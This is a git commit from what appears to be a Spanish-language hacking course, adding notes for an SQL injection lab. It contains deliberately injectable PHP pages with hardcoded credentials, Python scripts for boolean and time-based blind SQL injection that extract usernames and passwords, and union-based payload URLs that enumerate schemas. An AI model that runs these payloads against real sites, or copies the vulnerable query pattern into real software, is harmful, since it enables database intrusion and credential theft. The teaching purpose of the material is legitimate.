Add Tema 6 - SQL Injection
This commit is contained in:
parent
514c8ead00
commit
db98611323
@ -0,0 +1,19 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
$server = "localhost";
|
||||||
|
$username = "s4vitar";
|
||||||
|
$password = "s4vitar123";
|
||||||
|
$database = "Hack4u";
|
||||||
|
|
||||||
|
// Establecer conexión
|
||||||
|
$conn = new mysqli($server, $username, $password, $database) or die(mysqli_error($conn));
|
||||||
|
|
||||||
|
$id = $_GET['id'];
|
||||||
|
|
||||||
|
$data = mysqli_query($conn, "select username from users where id = '$id'");
|
||||||
|
|
||||||
|
$response = mysqli_fetch_array($data);
|
||||||
|
|
||||||
|
echo $response['username'];
|
||||||
|
|
||||||
|
?>
|
@ -0,0 +1,21 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
$server = "localhost";
|
||||||
|
$username = "s4vitar";
|
||||||
|
$password = "s4vitar123";
|
||||||
|
$database = "Hack4u";
|
||||||
|
|
||||||
|
// Establecer conexión
|
||||||
|
$conn = new mysqli($server, $username, $password, $database);
|
||||||
|
|
||||||
|
$id = mysqli_real_escape_string($conn, $_GET['id']);
|
||||||
|
|
||||||
|
$data = mysqli_query($conn, "select username from users where id = $id");
|
||||||
|
|
||||||
|
$response = mysqli_fetch_array($data);
|
||||||
|
|
||||||
|
if(!isset($response['username'])){
|
||||||
|
http_response_code(404);
|
||||||
|
}
|
||||||
|
|
||||||
|
?>
|
61
Introduccion-hacking-hack4u/tema_6_owasp/01_sqli/sqli.py
Normal file
61
Introduccion-hacking-hack4u/tema_6_owasp/01_sqli/sqli.py
Normal file
@ -0,0 +1,61 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
"""
|
||||||
|
Script de Inyección SQL
|
||||||
|
"""
|
||||||
|
import requests
|
||||||
|
import signal
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import string
|
||||||
|
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
|
||||||
|
def signal_handler(signal, frame):
|
||||||
|
"""
|
||||||
|
Salir con Ctrl+C
|
||||||
|
"""
|
||||||
|
print('Saliendo con Ctrl+C!')
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
|
||||||
|
signal.signal(signal.SIGINT, signal_handler)
|
||||||
|
|
||||||
|
|
||||||
|
# Variables globales
|
||||||
|
main_url = "http://192.168.1.121/searchUsers2.php"
|
||||||
|
characters = string.printable
|
||||||
|
|
||||||
|
|
||||||
|
def makeSQLI():
|
||||||
|
|
||||||
|
p1 = log.progress("Fuerza bruta")
|
||||||
|
p1.status("Fuerza bruta en proceso")
|
||||||
|
|
||||||
|
time.sleep(2)
|
||||||
|
|
||||||
|
p2 = log.progress(f"Datos extraídos:\n\t")
|
||||||
|
|
||||||
|
extracted_info = ""
|
||||||
|
|
||||||
|
for position in range(1, 67):
|
||||||
|
|
||||||
|
for character in range(33, 126):
|
||||||
|
|
||||||
|
sqli_url = main_url + \
|
||||||
|
"?id=9 or (select(select ascii(substring((select group_concat(username,0x3a,password) from users),%d,1)) from users where id = 1)=%d)" % (
|
||||||
|
position, character)
|
||||||
|
|
||||||
|
p1.status(
|
||||||
|
f"\n[i] Probando posición {position} el carácter: {chr(character)}")
|
||||||
|
|
||||||
|
r = requests.get(sqli_url)
|
||||||
|
|
||||||
|
if r.status_code == 200:
|
||||||
|
extracted_info += chr(character)
|
||||||
|
p2.status(extracted_info)
|
||||||
|
break
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
makeSQLI()
|
@ -0,0 +1,65 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
"""
|
||||||
|
Este script realiza una inyección SQL de tipo Time-Based Blind SQL Injection
|
||||||
|
"""
|
||||||
|
import requests
|
||||||
|
import signal
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import string
|
||||||
|
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
|
||||||
|
def signal_handler(signal, frame):
|
||||||
|
"""
|
||||||
|
Salir con Ctrl+C
|
||||||
|
"""
|
||||||
|
print('Saliendo con Ctrl+C!')
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
|
||||||
|
signal.signal(signal.SIGINT, signal_handler)
|
||||||
|
|
||||||
|
|
||||||
|
# Variables globales
|
||||||
|
main_url = "http://192.168.1.121/searchUsers2.php"
|
||||||
|
characters = string.printable
|
||||||
|
|
||||||
|
|
||||||
|
def makeSQLI():
|
||||||
|
|
||||||
|
p1 = log.progress("Fuerza bruta")
|
||||||
|
p1.status("Fuerza bruta en proceso")
|
||||||
|
|
||||||
|
time.sleep(2)
|
||||||
|
|
||||||
|
p2 = log.progress(f"Datos extraídos")
|
||||||
|
|
||||||
|
extracted_info = ""
|
||||||
|
|
||||||
|
for position in range(1, 10):
|
||||||
|
|
||||||
|
for character in range(33, 126):
|
||||||
|
|
||||||
|
sqli_url = main_url + \
|
||||||
|
"?id=1 and if(ascii(substr(database(),%d,1))=%d,sleep(0.35),1)" % (
|
||||||
|
position, character)
|
||||||
|
|
||||||
|
p1.status(
|
||||||
|
f"\n[i] Probando posición {position} el carácter: {chr(character)}")
|
||||||
|
|
||||||
|
time_start = time.time()
|
||||||
|
|
||||||
|
r = requests.get(sqli_url)
|
||||||
|
|
||||||
|
time_end = time.time()
|
||||||
|
|
||||||
|
if time_end - time_start > 0.35:
|
||||||
|
extracted_info += chr(character)
|
||||||
|
p2.status(extracted_info)
|
||||||
|
break
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
makeSQLI()
|
@ -1 +1,234 @@
|
|||||||
# TEMA 6 - OWASP TOP 10 y vulnerabilidades web
|
# TEMA 6 - OWASP TOP 10 y vulnerabilidades web
|
||||||
|
|
||||||
|
Índice
|
||||||
|
- [TEMA 6 - OWASP TOP 10 y vulnerabilidades web](#tema-6---owasp-top-10-y-vulnerabilidades-web)
|
||||||
|
- [6.1 SQL Injection (SQLi)](#61-sql-injection-sqli)
|
||||||
|
- [Ejercicios](#ejercicios)
|
||||||
|
- [6.2 CrossSite Scripting (XSS)](#62-crosssite-scripting-xss)
|
||||||
|
- [6.3 XML External Entity Injection (XXE)](#63-xml-external-entity-injection-xxe)
|
||||||
|
- [6.4 Local File Inclusion (LFI)](#64-local-file-inclusion-lfi)
|
||||||
|
- [6.5 Remote File Inclusion (RFI)](#65-remote-file-inclusion-rfi)
|
||||||
|
- [6.6 Log Poisoning (LFI --\> RCE)](#66-log-poisoning-lfi----rce)
|
||||||
|
- [6.7 Cross-Site Request Forgery (CSRF)](#67-cross-site-request-forgery-csrf)
|
||||||
|
- [6.8 Server-Side Request Forgery (SSRF)](#68-server-side-request-forgery-ssrf)
|
||||||
|
- [6.9 Server-Side Template Injection (SSTI)](#69-server-side-template-injection-ssti)
|
||||||
|
- [6.10 Client-Side Template Injection (CSTI)](#610-client-side-template-injection-csti)
|
||||||
|
- [6.11 Ataque de oráculo de relleno de datos (Padding Oracle Attack)](#611-ataque-de-oráculo-de-relleno-de-datos-padding-oracle-attack)
|
||||||
|
- [6.12 Ataque Type Juggling](#612-ataque-type-juggling)
|
||||||
|
- [6.13 Inyecciones NoSQL](#613-inyecciones-nosql)
|
||||||
|
- [6.14 Inyecciones LDAP](#614-inyecciones-ldap)
|
||||||
|
- [6.15 Ataques de Deserialización](#615-ataques-de-deserialización)
|
||||||
|
- [6.16 Inyecciones LaTex](#616-inyecciones-latex)
|
||||||
|
- [6.17 Abuso de APIs](#617-abuso-de-apis)
|
||||||
|
- [6.18 Abuso de subidas de archivos](#618-abuso-de-subidas-de-archivos)
|
||||||
|
- [6.19 Prototype Pollution](#619-prototype-pollution)
|
||||||
|
- [6.20 Ataques de transferencia de zona (AXFR - Full Zone Transfer)](#620-ataques-de-transferencia-de-zona-axfr---full-zone-transfer)
|
||||||
|
- [6.21 Ataques de asignación masiva (Mass Assignment Attack)/Parameter Binding](#621-ataques-de-asignación-masiva-mass-assignment-attackparameter-binding)
|
||||||
|
- [6.22 Open Redirect](#622-open-redirect)
|
||||||
|
- [6.23 Enumeración y explotación de WebDAV](#623-enumeración-y-explotación-de-webdav)
|
||||||
|
- [6.24 Enumeración y explotación de SQUID Proxies](#624-enumeración-y-explotación-de-squid-proxies)
|
||||||
|
- [6.25 Ataque ShellShock](#625-ataque-shellshock)
|
||||||
|
- [6.26 Inyecciones XPath](#626-inyecciones-xpath)
|
||||||
|
- [6.27 Insecure Direct Object Reference (IDORs)](#627-insecure-direct-object-reference-idors)
|
||||||
|
- [6.28 Intercambio de recursos de origen cruzado (CORS)](#628-intercambio-de-recursos-de-origen-cruzado-cors)
|
||||||
|
- [6.29 Ataque de Truncado SQL (SQL Truncation Attack)](#629-ataque-de-truncado-sql-sql-truncation-attack)
|
||||||
|
- [6.30 Session Puzzling / Session Fixation / Session Variable Overloading](#630-session-puzzling--session-fixation--session-variable-overloading)
|
||||||
|
- [6.31 Enumeración y explotación de Json Web Tokens (JWT)](#631-enumeración-y-explotación-de-json-web-tokens-jwt)
|
||||||
|
- [6.32 Condiciones de carrera (Race conditions)](#632-condiciones-de-carrera-race-conditions)
|
||||||
|
- [6.33 Inyecciones CSS (CSSI)](#633-inyecciones-css-cssi)
|
||||||
|
- [6.34 Python - Ataque de Deserialización Yaml (DES-Yaml)](#634-python---ataque-de-deserialización-yaml-des-yaml)
|
||||||
|
- [6.35 Python - Ataque de Deserialización Pickle (DES-Pickle)](#635-python---ataque-de-deserialización-pickle-des-pickle)
|
||||||
|
- [6.36 GraphQL Introspection, Mutations e IDORs](#636-graphql-introspection-mutations-e-idors)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.1 SQL Injection (SQLi)
|
||||||
|
|
||||||
|
SQL Injection (SQLI) es una técnica de ataque utilizada para explotar vulnerabilidades en aplicaciones web que no validan adecuadamente la entrada del usuario en la consulta SQL que se envía a la base de datos. Los atacantes pueden utilizar esta técnica para ejecutar consultas SQL maliciosas y obtener información confidencial, como nombres de usuario, contraseñas y otra información almacenada en la base de datos.
|
||||||
|
|
||||||
|
Las inyecciones SQL se producen cuando los atacantes insertan código SQL malicioso en los campos de entrada de una aplicación web. Si la aplicación no valida adecuadamente la entrada del usuario, la consulta SQL maliciosa se ejecutará en la base de datos, lo que permitirá al atacante obtener información confidencial o incluso controlar la base de datos.
|
||||||
|
|
||||||
|
Hay varios tipos de inyecciones SQL, incluyendo:
|
||||||
|
|
||||||
|
- Inyección SQL basada en errores: Este tipo de inyección SQL aprovecha errores en el código SQL para obtener información. Por ejemplo, si una consulta devuelve un error con un mensaje específico, se puede utilizar ese mensaje para obtener información adicional del sistema.
|
||||||
|
- Inyección SQL basada en tiempo: Este tipo de inyección SQL utiliza una consulta que tarda mucho tiempo en ejecutarse para obtener información. Por ejemplo, si se utiliza una consulta que realiza una búsqueda en una tabla y se añade un retardo en la consulta, se puede utilizar ese retardo para obtener información adicional
|
||||||
|
- Inyección SQL basada en booleanos: Este tipo de inyección SQL utiliza consultas con expresiones booleanas para obtener información adicional. Por ejemplo, se puede utilizar una consulta con una expresión booleana para determinar si un usuario existe en una base de datos.
|
||||||
|
- Inyección SQL basada en uniones: Este tipo de inyección SQL utiliza la cláusula “UNION” para combinar dos o más consultas en una sola. Por ejemplo, si se utiliza una consulta que devuelve información sobre los usuarios y se agrega una cláusula “UNION” con otra consulta que devuelve información sobre los permisos, se puede obtener información adicional sobre los permisos de los usuarios.
|
||||||
|
- Inyección SQL basada en stacked queries: Este tipo de inyección SQL aprovecha la posibilidad de ejecutar múltiples consultas en una sola sentencia para obtener información adicional. Por ejemplo, se puede utilizar una consulta que inserta un registro en una tabla y luego agregar una consulta adicional que devuelve información sobre la tabla.
|
||||||
|
|
||||||
|
Cabe destacar que, además de las técnicas citadas anteriormente, existen muchos otros tipos de inyecciones SQL. Sin embargo, estas son algunas de las más populares y comúnmente utilizadas por los atacantes en páginas web vulnerables.
|
||||||
|
|
||||||
|
Asimismo, es necesario hacer una breve distinción de los diferentes tipos de bases de datos existentes:
|
||||||
|
|
||||||
|
- Bases de datos relacionales: Las inyecciones SQL son más comunes en bases de datos relacionales como MySQL, SQL Server, Oracle, PostgreSQL, entre otros. En estas bases de datos, se utilizan consultas SQL para acceder a los datos y realizar operaciones en la base de datos.
|
||||||
|
- Bases de datos NoSQL: Aunque las inyecciones SQL son menos comunes en bases de datos NoSQL, todavía es posible realizar este tipo de ataque. Las bases de datos NoSQL, como MongoDB o Cassandra, no utilizan el lenguaje SQL, sino un modelo de datos diferente. Sin embargo, es posible realizar inyecciones de comandos en las consultas que se realizan en estas bases de datos. Esto lo veremos unas clases más adelante.
|
||||||
|
- Bases de datos de grafos: Las bases de datos de grafos, como Neo4j, también pueden ser vulnerables a inyecciones SQL. En estas bases de datos, se utilizan consultas para acceder a los nodos y relaciones que se han almacenado en la base de datos.
|
||||||
|
- Bases de datos de objetos: Las bases de datos de objetos, como db4o, también pueden ser vulnerables a inyecciones SQL. En estas bases de datos, se utilizan consultas para acceder a los objetos que se han almacenado en la base de datos.
|
||||||
|
|
||||||
|
Es importante entender los diferentes tipos de inyecciones SQL y cómo pueden utilizar se para obtener información confidencial y controlar una base de datos. Los desarrolladores deben asegurarse de validar adecuadamente la entrada del usuario y de utilizar técnicas de defensa, como la sanitización de entrada y la preparación de consultas SQL, para prevenir las inyecciones SQL en sus aplicaciones web.
|
||||||
|
|
||||||
|
A continuación, se proporciona el enlace a la utilidad online de ‘ExtendsClass‘ que utilizamos en esta clase:
|
||||||
|
|
||||||
|
- ExtendsClass MySQL Online: https://extendsclass.com/mysql-online.html
|
||||||
|
|
||||||
|
### Ejercicios
|
||||||
|
|
||||||
|
- Levantar apache y mysql
|
||||||
|
- Crear una base de datos con una tabla
|
||||||
|
- Crearemos el fichero [searchUser.php](./01_sqli/searchUsers.php) y lo dejaremos en el directorio /var/www/html
|
||||||
|
- Con la url `http://localhost/searchUsers.php?id=1` deberíamos obtener el username del id 1.
|
||||||
|
- Tendremos que probar el número de id con order, cuando no de error sabremos el número de columnas que tiene la tabla: `http://localhost/searchUsers.php?id=1' order by 100-- -`
|
||||||
|
- Con `http://localhost/searchUsers.php?id=1' union select "test"-- -` añade el testo "test" a la columna, pero tiene que haber el número de valores del número de columna. Si cambiamos el id por uno que no exista veremos que se muestra en pantalla.
|
||||||
|
- Con `http://localhost/searchUsers.php?id=11212' union select database()-- -` veremos el nombre de la BBDD.
|
||||||
|
- Con `http://localhost/searchUsers.php?id=11212' union select schema_name from information_schema.schemata-- -` veremos la primera base de datos. Ya con limits podremos ver las siguientes:
|
||||||
|
1. `http://localhost/searchUsers.php?id=11212' union select schema_name from information_schema.schemata limit 0,1-- -`
|
||||||
|
2. `http://localhost/searchUsers.php?id=11212' union select schema_name from information_schema.schemata limit 1,1-- -`
|
||||||
|
- Con `http://localhost/searchUsers.php?id=165541%27%20union%20select%20group_concat(schema_name)%20from%20information_schema.schemata--%20-` veremos todas las BBDD.
|
||||||
|
- Con `http://localhost/searchUsers.php?id=11212' union select group_concat(table_name) from information_schema.tables where table_schema='nombreBBDD'-- -` veremos las tablas de la BBDD.
|
||||||
|
- Con `http://localhost/searchUsers.php?id=11212' union select group_concat(column_name) from information_schema.columns where table_schema='nombreBBDD' and table_name='nombreTabla'-- -` veremos las columnas de la tabla.
|
||||||
|
- Con lo cual, `http://localhost/searchUsers.php?id=11212' union select group_concat(NombreColumna) from nombreBBDD.nombreTabla-- -` veremos el contenido de la columna. ¡Se tensa!
|
||||||
|
|
||||||
|
Preparamos el fichero php searchUsers.php para hacer unas pruebas con Python para cuando no tengamos el output en pantalla.
|
||||||
|
- Comprobamos uno a uno el hexadecimal: [sqli.py](./01_sqli/sqli.py)
|
||||||
|
- Comprobamos si el contenido es igual que tarde más tiempo: [sqli_time.py](./01_sqli/sqli_time.py)
|
||||||
|
|
||||||
|
## 6.2 CrossSite Scripting (XSS)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.3 XML External Entity Injection (XXE)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.4 Local File Inclusion (LFI)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.5 Remote File Inclusion (RFI)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.6 Log Poisoning (LFI --> RCE)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.7 Cross-Site Request Forgery (CSRF)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.8 Server-Side Request Forgery (SSRF)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.9 Server-Side Template Injection (SSTI)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.10 Client-Side Template Injection (CSTI)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.11 Ataque de oráculo de relleno de datos (Padding Oracle Attack)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.12 Ataque Type Juggling
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.13 Inyecciones NoSQL
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.14 Inyecciones LDAP
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.15 Ataques de Deserialización
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.16 Inyecciones LaTex
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.17 Abuso de APIs
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.18 Abuso de subidas de archivos
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.19 Prototype Pollution
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.20 Ataques de transferencia de zona (AXFR - Full Zone Transfer)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.21 Ataques de asignación masiva (Mass Assignment Attack)/Parameter Binding
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.22 Open Redirect
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.23 Enumeración y explotación de WebDAV
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.24 Enumeración y explotación de SQUID Proxies
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.25 Ataque ShellShock
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.26 Inyecciones XPath
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.27 Insecure Direct Object Reference (IDORs)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.28 Intercambio de recursos de origen cruzado (CORS)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.29 Ataque de Truncado SQL (SQL Truncation Attack)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.30 Session Puzzling / Session Fixation / Session Variable Overloading
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.31 Enumeración y explotación de Json Web Tokens (JWT)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.32 Condiciones de carrera (Race conditions)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.33 Inyecciones CSS (CSSI)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.34 Python - Ataque de Deserialización Yaml (DES-Yaml)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.35 Python - Ataque de Deserialización Pickle (DES-Pickle)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 6.36 GraphQL Introspection, Mutations e IDORs
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user